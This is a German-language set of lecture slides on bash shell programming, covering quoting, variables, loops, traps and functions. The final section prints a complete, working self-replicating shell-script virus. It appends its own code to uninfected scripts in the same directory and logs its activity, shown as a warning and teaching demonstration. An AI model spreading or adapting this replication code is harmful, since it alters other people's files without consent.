Shell-Programmierung Alois Schütte AOSD1. Shell-Programmierung In diesem Teil der Veranstaltung...

Alois Schütte AOSD 1

Shell-Programmierung


Shell-Programmierung

In diesem Teil der Veranstaltung soll in die Shell-Programmierung eingeführt werden.

1. Quoting und Wildcards2. Ausführung von Shell-Programmen3. Variablen4. Kontrollstrukturen5. Fehlerbehandlung6. Funktionen

Wir werden als Grundlage die bash als Shell verwenden.


Shell-Programmierung: Quoting und Wildcards

Das Quoten dient dazu, bestimmte Zeichen mit einer Sonderbedeutung vor der Shell zu 'verstecken' um zu verhindern, dass sie ersetzt werden.Nachfolgend einige Zeichen mit spezieller Bedeutung innerhalb der Shell:; Befehls-Trennzeichen& Hintergrund-Verarbeitung( ) Befehls-Gruppierung| Pipe< > & Umlenkungssymbole* ? [ ] ~ Meta-Zeichen für Dateinamen` ` Befehls-Substitution$ Variablen-Substitution

Beispiele:-> Tafel



Die folgenden Zeichen können zum Quoten verwendet werden:" " Alles zwischen diesen Zeichen ist buchstabengetreu zu interpretieren. Ausnahmen sind folgende Zeichen, die ihre spezielle Bedeutung beibehalten: $ ` "'' Alles zwischen diesen Zeichen wird uninterpretiert genommen, mit Ausnahme eines

weiteren ' und \\ entwertet das nachfolgende Zeichen

Beispiele:-> Tafel



Bei der Angabe von Dateinamen können Wildcards verwendet werden, um mehrere Dateien gleichzeitig anzusprechen oder um nicht den vollen Dateinamen ausschreiben zu müssen.

Die wichtigsten Meta-Zeichen sind:* Eine Folge von keinem, einem oder mehreren Zeichen? Ein einzelnes Zeichen[abc] eines der Zeichen in der Klammer[a-q] ein Zeichen aus dem angegebenen Bereich[!abc] ein Zeichen, das nicht in der Klammer ist~ Home-Verzeichnis des aktuellen Benutzers~name Home-Verzeichnis des Benutzers name

Beispiele:-> Tafel


Shell-Programmierung: Ausführung von Shell-Programmen

Ein Shell-Programm wird in einer Datei als Folge von Anweisungen abgelegt und mittels des Kommandos sh (bash, ksh, csh) aufgerufen. Ist die Datei ausführbar, kann das Programm durch Aufruf der Datei ausgeführt werden.

$ cat dlpwdls –lecho Dies ist das letzte Kommando des Shellprogramms$ $ sh dl/users/as/Vorlesungen/Unix/Skript/Shellprogrammierunginsgesamt 4-rw-r--r-- 1 as users 64 Jan 15 10:17 dlDies ist das letzte Kommando des Shellprogramms$$ chmod +x dl$$ dl/users/as/Vorlesungen/Unix/Skript/Shellprogrammierunginsgesamt 4-rwxr-xr-x 1 as users 64 Jan 15 10:17 dlDies ist das letzte Kommando des Shellprogramms$



Um Shell-Programme von beliebiger Stelle im Dateisystem ausführen zu können, sollte man ein eigenes Verzeichnis dafür anlegen und dieses Verzeichnis in den Pfad einfügen.

$ mkdir $HOME/bin$ mv dl $HOME/bin$ PATH=$PATH:$HOME/bin$ $ cd /tmp/$ dl…………$

AchtungMan kann Shell-Programmen beliebige Namen geben. Vermieden werden sollten Namen, die schon von Systemprogrammen verwendet werden, da dies unerwünschte Effekte haben kann:• Systemkommandos sind nicht mehr wie gewohnt zugänglich.• Es können Unendlichschleifen entstehen.



$ mv dl date$ PATH=.:$PATH$ date/users/as/Vorlesungen/Unix/Skript/Shellprogrammierunginsgesamt 4-rwxr-xr-x 1 as users 64 Jan 16 10:00 dateDies ist das letzte Kommando des Shellprogramms$

$ /bin/dateMit Jan 16 10:04:59 CET 2002$

$ mv dl ls$ cat lspwdls -lecho Dies ist das letzte Kommando des Shellprogramms $ ls/users/as/Vorlesungen/Unix/Skript/Shellprogrammierung/users/as/Vorlesungen/Unix/Skript/Shellprogrammierung/users/as/Vorlesungen/Unix/Skript/Shellprogrammierung……….


Shell-Programmierung: Variablen - Positionsparameter

Variablen sind die grundlegenden Datenobjekte, die außer Dateien von Shell-Programmen verändert werden können.Zu unterscheiden sind:• Positionsparameter (positional parameter),• Spezialparameter (spezial parameter) und• Variablen mit Namen (named variables)

Ein Positionsparameter ist eine Variable in einem Shell-Programm, deren Wert durch ein Argument bei einem Programmaufruf gesetzt wird.Positionsparameter werden durch

$1, $2, $3 usw.angesprochen. In einem Shell-Programm sind bis zu 9 solcher Parameter verwendbar.

$ cat ppecho 1. Positionsparameter: $1echo 2. Positionsparameter: $2$ $ pp eins zwei 1. Positionsparameter: eins2. Positionsparameter: zwei$


Shell-Programmierung: Variablen - Spezialparameter

Durch Spezialparameter$#$*

kann auf die Anzahl der Argumente und auf den gesamten Argumentestring zugegriffen werden.

$ cat get.num echo Anzahl der Argumente: $#$ $ get.num Test des ProgrammsAnzahl der Argumente: 3$ $ cat show.param echo Die Parameter sind: $*$$ show.param Test des Programms 4 5 6 7 8 9 0 11 12Die Parameter sind: Test des Programms 4 5 6 7 8 9 0 11 12$


Shell-Programmierung: Variablen - Spezialparameter

Weiter vordefinierte Variablen sind:$n Aufrufparameter n (n<=9)$? Rückgabewert des letzten Kommandos$$ Prozeßnummer der aktiven Shell$! Prozeßnummer des letzten HintergrundprozessesERRNO Fehlernummer des letzten fehlgeschlagenen SystemaufrufsPWD Aktuelles Verzeichnis OLDPWD Vorheriges Verzeichnis


Shell-Programmierung: Variablen - Wertzuweisung

Eine selbst definierte Variable kann durchVariable=Wert

definiert und initialisiert werden. Dabei darf links und rechts vom Gleichheitszeichen kein Leerzeichen stehen.

Der Wert einer Variablen wird durch dem Namen vorgestelltes $-Zeichen ausgedrückt.

Ein Variablenname muss mit einem Buchstaben oder einem Unterstreichstrich beginnen. Der Rest kann aus Buchstaben, Ziffern und Unterstreichstrichen aufgebaut sein. Kommandonamen sind als Namen für Variablen nicht erlaubt.

Vordefinierte Variable können nicht zur eigenen Namensgebung verwendet werden. Folgende (nicht vollständige) Liste beschreibt vordefinierte Variablen:• HOME beschreibt das Homeverzeichnis• IFS gibt die Trennzeichen ein (internal field seperators: space, tab, carriage return)• LOGNAME hat als Wert den Login-Name• PATH ist der Suchweg der Shell zum Finden von ausführbaren Dateien• PS1, PS2 sind die Promtzeichen



Den Wert aller Variablen zusammen mit ihre Namen kann man durch das Kommando env auflisten.

$ envPWD=/users/as/Vorlesungen/Unix/Skript/Shellprogrammierung...TERM=xtermHOME=/users/asXNLSPATH=/usr/X11R6/lib/X11/nlsPATH=/users/as/bin:/usr/local/bin:/usr/bin:/usr/X11R6/bin:/bin:/usr/lib/java/bin:/usr/games/bin:opt/kde2/bin:.$

Den Wert einer Variablen kann man mit dem echo Kommando einfach ausgeben:

$ x=Jenni$

Einer Variablen kann man einen Wert zuweisen:

$ echo $HOME/users/as$ echo $xJenni$



Neben der direkten Zuweisung eines Literals kann eine Variable auch Werte erhalten durch• read Kommando• Umlenkung der Ausgabe von Kommandos in Variablen• Zuweisen von Werten anderer Variable

$ cat tel_list Alois Schuette INF 8435Ursula Schmunck INF 8413$ $ cat num.please echo ---------- Telefonverzeichnis ----------echo -n "Name: "read namegrep -i $name tel_list$ $ num.please ---------- Telefonverzeichnis ----------Name: SchmunckUrsula Schmunck INF 8413$

Um eine Benutzereingabe einzulesen, kann das read Komando verwendet werden:read variable



$ cat pttime=`date | cut -c12-19`echo aktuelle Zeit: $time$ $ ptaktuelle Zeit: 16:16:33$

Durch die Kommandoersetzung kann die Ausgabe eines Programms so umgelenkt werden, dass eine Variable den resultierenden Wert zugewiesen bekommt.Die allgemeine Form ist:

Variable=`Kommando`

$ cat progprog=$0echo das Programm $prog wurde gestartet$ $ progdas Programm ./prog wurde gestartet$

Auch auf der rechten Seite des Zuweisungsoperators (=) können Werte von Variablen auftauchen:


Shell-Programmierung: Variablen - Substitution

Unter Variablen-Substitution versteht man verschiedene Methoden um die Inhalte von Variablen zu benutzen. Das umfasst sowohl die einfache Zuweisung eines Wertes an eine Variable als auch einfache Möglichkeiten zur Fallunterscheidung. In den moderneren Shell-Versionen (bash, ksh)existieren auch die Möglichkeiten, auf Substrings von Variableninhalten zuzugreifen.

Bei allen Angaben ist der Doppelpunkt optional. Wenn er aber angegeben wird, muss die Variable einen Wert enthalten.${Variable} Nutzt den Wert von Variable. Die Klammern müssen nicht mit

angegeben werden, wenn die Variable von Trennzeichen umgeben

ist.${Variable:-Wert} Nutzt den Wert von Variable. Falls die Variable nicht gesetzt ist, wird

Wert benutzt.${Variable:=Wert} Nutzt den Wert von Variable. Falls die Variable nicht gesetzt ist, wird

Wert benutzt, und Variable erhält den Wert.${Variable:?Wert} Nutzt den Wert von Variable. Falls die Variable nicht gesetzt ist, wird

der Wert ausgegeben und die Shell beendet. Wenn kein Wert

angegeben wurde, wird der Text“ parameter null or not set“

ausgegeben.${Variable:+Wert} Nutzt den Wert, falls die Variable gesetzt ist, andernfalls nichts.


Shell-Programmierung: Kontrollstrukturen

Die Shell stellt alle von "normalen" Programmiersprachen bekannte Kontrollstrukturen zur Verfügung:• Kommentare erlauben es, den Programmtext zu dokumentieren.• Durch das "here document" ist es möglich, im Programm Zeilen einzufügen, die als

Standardeingabe von Kommandos des Programms verwendet werden.• Ein exit Kommando zusammen mit return Kodes macht es möglich, ein Programm gezielt zu

verlassen, bevor das Textende erreicht ist.• Mittels for- und while-Konstrukten sind Wiederholungen realisierbar.• Durch if- und case Anweisungen können Entscheidungen programmiert werden.• break und continue können das Abarbeiten von Schleifen beeinflussen.

Kommentare sind Texte, die einem #-Zeichen folgen; sie enden am Zeilenende.Allgemeine Form:

#Kommentartext<CR>


Shell-Programmierung: Kontrollstrukturen – here document

Innerhalb eines Shellprogramms ist es möglich, Zeilen als Eingabe von Kommandos zu markieren. Das Kommando verwendet dann diese Zeilen als Stanadardeingabe. Dadurch entfällt es, zuerst eine Hilfsdatei zu erzeugen, von der das Kommando dann liest und diese anschließend zu löschen.Allgemeine Form:

Kommando <<Delimiter<CR> … Eingabezeilen …Delimiter<CR>

Diese Art der Eingabeumlenkung wird häufig verwendet, um interaktiven Programmen innerhalb von Shell-Programmen benutzen zu können.

$ cat bodyMassIndex.sh# Body Mass Index berechen# Formel: gewicht/groesse*groesse [kg]/[meter]*[meter]echo -n "Gewicht in Kilo: "read gewichtecho -n "Groesse in Meter: "read groessebc << EOF scale=2 $gewicht / ($groesse * $groesse)EOF$

$ bodyMassIndex.sh Gewicht in Kilo: 81.5Groesse in Meter: 1.7626.37$


Shell-Programmierung: Kontrollstrukturen – Return Kode

Unix Kommandos sind i.A. so realisiert, dass sie einen Return Kode besitzen, der anzeigt, ob das Kommando erfolgreich oder fehlerhaft beendet wurde. Unix Konvention ist, dass ein Return Kode 0 anzeigt, dass das Kommando erfolgreich beendet wurde, ein Wert ungleich 0 zeigt einen Fehler an.In einem Shell-Programm kann der Return Kode durch das exit Kommando an den Aufrufer weitergegeben werden; der Aufrufer kann den Exit Status durch Abfrage des Spezialparameters $? erkennen.

$ cat bodyMassIndex.sh# Body Mass Index berechen# Formel: gewicht/groesse*groesse [kg]/[meter]*[meter]echo -n "Gewicht in Kilo: "read gewichtecho -n "Groesse in Meter: "read groessebc << EOF scale=2 $gewicht / ($groesse * $groesse)EOFexit 0$

$ bodyMassIndex.sh Gewicht in Kilo: 81.5Groesse in Meter: 1.7626.37$ echo $?0$


Shell-Programmierung: Kontrollstrukturen – Schleifen

Die for-Schleife führt eine Kommandosequenz aus, einmal für jedes Element einer Liste.Allgemeine Form:

for Variable<CR>in Variablen_Liste

do<CR>Kommando_1<CR>Kommando_2<CR>…Kommando_n<CR>

done<CR>

$ cat moveFile.shecho -n "type in the directory path: "read pathfor file in memo1 memo2 memo3do mv $file $path/$filedoneexit 0$



Im letzten Beispiel wurden die Dateinamen (memo1,…) explizit im Programm angegeben. Will man die Dateinamen beim Aufruf angeben können, so kann der in-Teil der for-Schleife entfallen

$ cat mvFile2.shecho -n "type in the directory path: "read pathfor filedo mv $file $path/$filedoneexit 0$ $ mv.file1 xy*type in the directory path: /tmp$



Bei einer while Schleife werden zwei Gruppen von Kommandos verwendet: die Kommandos der do-while Guppe werden solange wiederholt, wie die Auswertung des letzten Kommandos der while-Gruppe den Returnstatus true (Kommando erfolgreich ausgeführt) liefert.Allgemeine Form: while<CR>

Kommando_1<CR>…Kommando_n<CR>

do Kommando_n+1<CR>

…Kommando_n+m<CR>

done<CR>

$ cat telEintrag.sh while echo -n "Name: " read name echo -n "Telefon: " read telefon do echo $name INF $telefon >> telListedone$


Shell-Programmierung: Kontrollstrukturen – Entscheidungen

Ein if-Kommando bewirkt, dass die then-Kommandosequenz nur ausgeführt wir, wenn das letzte Kommando der if-Liste erfolgreich abgeschlossen wurde; ansonsten wird die else- Kommandosequenz ausgeführt.Allgemeine Form: if<CR>

Kommando_1<CR>Kommando_2<CR>…Kommando_n<CR>

then Kommando_n+1<CR>

Kommando_n+2<CR>…

else Kommando_n+m+1<CR>

Kommando_n+m+2<CR>…

fi<CR>



Das Shell-Programm serach such mittels grep ein Wort in einem File.

$ cat searchecho -n "type in the word and file name: "read word fileif grep $word $file > /dev/null 2>&1then echo $word is in $file else echo $word is NOT in $filefi$ $ search type in the word and file name: if searchif is in search$ $ searchtype in the word and file name: do searchdo is NOT in search$



In while- und if-Kommandos sind häufig Tests durchzuführen. Dazu existiert in Unix ein eigenes Kommando, das test-Kommando.

$ cat searchMitTest echo -n "type in the word and file name: "read word fileif test -r $file # file exists and is readablethen if grep $word $file > /dev/null 2>&1 then echo $word is in $file else echo $word is NOT in $file fielse echo "no such file: $file"fi$



Achtung:Wenn ein test Kommando in einem Skript nicht so funktioniert, wie es eigentlich definiert ist, kann dies folgende Ursachen haben:• es existiert ein Shell Programm mit Namen test• es existiert ein ausführbares Programm (z.B. C-Programm) mit Namen test.Deshalb sollten Sie als Programmnamen nie test verwenden.In Shell-Programmen kann man die Kurzform des Test-Kommandos „[…]“ verwenden; dies mach Programme besser lesbar:

if [ -r $file ] # file exists and is readablethen if grep $word $file > /dev/null 2>&1 then echo $word is in $file else echo $word is NOT in $file fielse echo "no such file: $file"fi



Durch das case-esac Kommando kann eine Kommandofolge ausgewählt werden, die zu einem Muster passt. Die Muster enden mit der runden Klammer, die dazu gehörenden Kommandos enden mit ";;".Allgemeine Form:case wort<CR> in <CR>

Muster_1 )<CR>Kommando_1_1<CR>

…Kommando_1_n<CR>

;;<CR> Muster_2 )<CR>

Kommando_2_1<CR> …

Kommando_2_m<CR>;;<CR>

… *)<CR>

Kommando_*_1<CR> …

Kommando_*_t<CR>;;<CR>

esac<CR>

In Aufschreibungsreihenfolge wird geprüft, welches Muster mit mit "Wort" übereinstimmt, dann werden die entsprechenden Kommandos ausgeführt. Gibt es keine Übereinstimmung, wird die *-Kommandofolge ausgeführt.In den Mustern sind die Metazeichen "*?[]" erlaubt.



$ cat set.termecho -n "type in your terminal type: "read termcase $term in vt100) TERM=vt100;; xterm) TERM=xterm;; *) echo unknown terminal TERM=vt100;;esacexport $TERM$


Shell-Programmierung: Kontrollstrukturen – break, continue

Das Kommando break stoppt die Ausführung einer Schleife oder einer Verzweigung und die Programmausführung geht nach dem korrespondierenden done, fi oder esac weiter.Das continue Kommando verzweigt zur nächsten Iteration einer Schleife und überspringt so die nach ihm stehenden Kommandos des Schleifenrumpfes.while :do clear echo " A Auflisten des aktuellen Verzeichisses" echo " S datei Schreiben" echo " L datei Loeschen" echo " z Datei anZeigen" echo " E Ende" echo -n " Auswahl: " read auswahl case $auswahl in [aA]) (ls -l | more) ; sleep 5 ;; [sS]) echo -n "Datei: " read datei ; vi $datei ;; [lL]) echo -n "Datei: " read datei ; rm -i $datei ;; [zZ]) echo -n "Datei: " read datei ; more $datei ; sleep 5 ;; [eE]) echo Bye! exit ;; *) echo Auswahl nicht erlaubt! read esacdone


Shell-Programmierung: Kontrollstrukturen – Fehlerbehandlung

Folgende Fehler können beim Ablauf eines Shell-Skripts auftreten:1. eine E/A Umlenkung ist nicht möglich, weil z.B. eine Eingabedatei nicht existiert;2. eine Kommando existiert nicht oder ist nicht ausführbar;3. ein Kommando terminiert abnormal, z.B. durch einen Speicherfehler;4. ein Kommando terminiert korrekt, liefert aber einen Exit-Status verschieden 0;5. im Skript ist ein Syntaxfehler, z.B. if…else ohne fi;6. ein Signal erreicht die Shell, z.B. durch CTR_C oder kill-Kommando;7. ein Fehler tritt bei einem Shell-internen Kommando auf.

Die Shell reagiert per Default wie folgt:– Fehler vom Typ 1-4 werden ignoriert; es wird mit der Bearbeitung des nächsten

Kommandos im Skript fortgefahren und (außer bei 4) wird eine Fehlermeldung ausgegeben.

– Fehler vom Typ 5-7 bewirken einen Abbruch des Shell-Skripts.



Eine Shell-Prozedur wird normalerweise durch die Signale

abgebrochen.Auf diese Signale (außer Signal 9) kann per Programm mittels des trap-Kommandos reagiert werden:• Ignorieren

trap '' n• Reaktion per Default

trap n• Ausführen eines Kommandos

trap 'Kommando' n

n Bedeutung

1 hangup (exit)

2 interrupt (CTR_C)

3 quit

9 kill

15 software termination (kill)



Ein Skript soll bei Abbruch durch CTR_C die Meldung "Bye bye" ausgeben

$ cat byeBye.kshtrap 'echo Bye bye; exit 1' 2echo Startwhile :do date sleep 10done$

-> Live

Zum (elementaren) Debuggen von Shell-Programmen existieren zwei Optionen für die Shell:-v Programm druckt die Eingabezeilen des Shellprogramms, so wie sie gelesen

werden-x Programm druck Kommandos und ihre Argumente, so wie sie ausgeführt

werden


Shell-Programmierung: Kontrollstrukturen – Funktionen

Shell-Funktionen bieten die Möglichkeit, mehrere Kommandos zusammenzufassen bzw. Kommandos mit vielen Parametern abzukürzen.Shell-Funktionen dürfen nicht mit Shell-Programmen verwechselt werden:• Ein Shell-Programm ist eine Datei, in der Kommandos stehen.• Eine Shell-Funktion wird von der Shell verwaltet und liegt im Speicher, ist also ohne

Plattenzugriff abrufbar.Eine Shell-Funktion wird wie folgt definiert:

FunktionName () {Kommandos

}Eine Shell-Funktion wird wie ein Shell-Programm aufgerufen, die Parameter folgen dem Funktionsnamen.Mit

Unset FunKtionNamekann die Funktion entfernt werden.

$ cat fkt1.kshc() { cd $* cwd=`pwd` # change dir PS1="`basename $cwd` $ " # change prompt}$



Eine Funktion "c" zum Change Directory mit Ändern des Prompt.

$ cat fkt1.kshc() { cd $* cwd=`pwd` # change dir PS1="`basename $cwd` $ " # change prompt}$

$ . fkt1.ksh$$ c /tmptmp $tmp $tmp $ cas $ pwd/users/asas $



Auch Rekursive Funktionen sind möglich.Anbei eine rekursive Funktion zur Berechnung der i-ten Fibonacci Zahl:

$ cat fibo.shfibo() { if [ $1 -eq 1 -o $1 -eq 2 ]; then ret=1 echo $ret; return; fi nminus1=èxpr $1 - 1` nminus2=èxpr $1 - 2` res1=`fibo $nminus1` res2=`fibo $nminus2` ret=èxpr $res1 + $res2` echo $ret}

if [ $# -ne 1 ] ; then echo "usage $0 <int>”; xit 1fix=`fibo $1` echo $xexit 0$

$ fibo.sh 68$



Vorsicht:Es existieren auch Shell-Skript Viren. Sie sind sehr einfach zu programmieren.

$ cat v.sh#!/bin/bash# purpose: Demostrating simple implementation of a shell virus.# May only be used for demonstation purposes !!!# def.: A virus is a program that reproduces its own code by# attaching itself to other executable files in such a way# that the virus code is executed when the infected# executable file is executed.# author: [email protected]

Idee:• Funktion, die erkennt, ob im selben Verzeichnis ein Shell-Skript ist (file

Kommando)• Funktion, die erkennt, ob ein Skript bereits befallen ist (diff letzte Zeilen)• Funktion mit Schadkode



len=26prog=$0attack() { # virus malware code echo [`date`]: virus infected programm runs malware $1 >> /tmp/viruslog}infect(){ # virus infection code if [ -w $prog ]; then tail -n $len $prog >> $1 echo [`date`]: programm $1 infected by virus >> /tmp/viruslog fi}check() { # virsus detection code tail -n $len $prog > $$v.0 tail -n $len $1 > $$v.1 diff -q $$v.0 $$v.1 > /dev/null infected=$? rm $$v.0 $$v.1}for file in `file * | grep "shell script" | cut -f1 -d:` ; do # for each shell script check $file # test $file already infected if [ $infected -ne 0 ]; then # infect $file infect $file fidoneattack $prog # do some bad thingsexit 0$

-> Live


Shell-Programmierung: weitere Themen

Weitere Themen wären z.B.:• reguläre Ausdrücke• Subshells• restricted shells• Arrays

Die o.a. weiterführenden Themen sind gut beschreiben von Mendel Cooper in http://tldp.org/LDP/abs/html/index.html

http://tldp.org/LDP/abs/html/index.html









Shell-Programmierung Alois Schütte AOSD1. Shell-Programmierung In diesem Teil der Veranstaltung...

Documents

Transcript of Shell-Programmierung Alois Schütte AOSD1. Shell-Programmierung In diesem Teil der Veranstaltung...